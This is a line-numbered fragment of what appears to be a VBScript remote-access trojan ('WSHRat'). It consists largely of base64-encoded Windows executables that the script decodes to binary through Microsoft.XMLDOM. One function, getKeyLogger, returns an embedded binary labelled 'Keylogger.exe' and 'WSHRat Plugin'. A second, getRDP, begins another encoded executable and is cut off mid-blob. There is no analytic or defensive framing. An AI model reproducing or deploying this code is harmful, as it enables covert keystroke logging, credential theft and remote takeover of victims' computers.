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AHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADEAOQAAAEQADgABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABLAGUAeQBsAG8AZwBnAGUAcgAuAGUAeABlAAAALAAGAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABrAGwAcABsAHUAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMQAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAxAC4AMAAuADAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3cARERERERERERERERERERHAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAEiIiIiIiIiIiIiIiIiIRwBEREREREREREREREREREcARMTExMTExMTExOzs5JdHAEzMzMzMzMzMzMzMzMzMQAAERERERERERERERERERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////////////////////AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAPAAAAH////////////////KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAd3d3d3d3d3REREREREREdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHSIiIiIiIiEdMzMzMzMzMR8RERERERETAAAAAAAAAAAAAAAAAAAAAAP//AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA//8AAP//AAAAAAEAAgAgIBAAAQAEAOgCAAACABAQEAABAAQAKAEAAAMAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT4NCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAMAAAAsDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  918.     set spike = (CreateObject("Microsoft.XMLDOM")).createElement("tmp")
  919.     spike.dataType = "bin.base64"
  920.     spike.text = encoded
  921.     getKeyLogger = spike.NodeTypedValue
  922. end function
  923.  
  924. function getRDP()
  925.     encoded = "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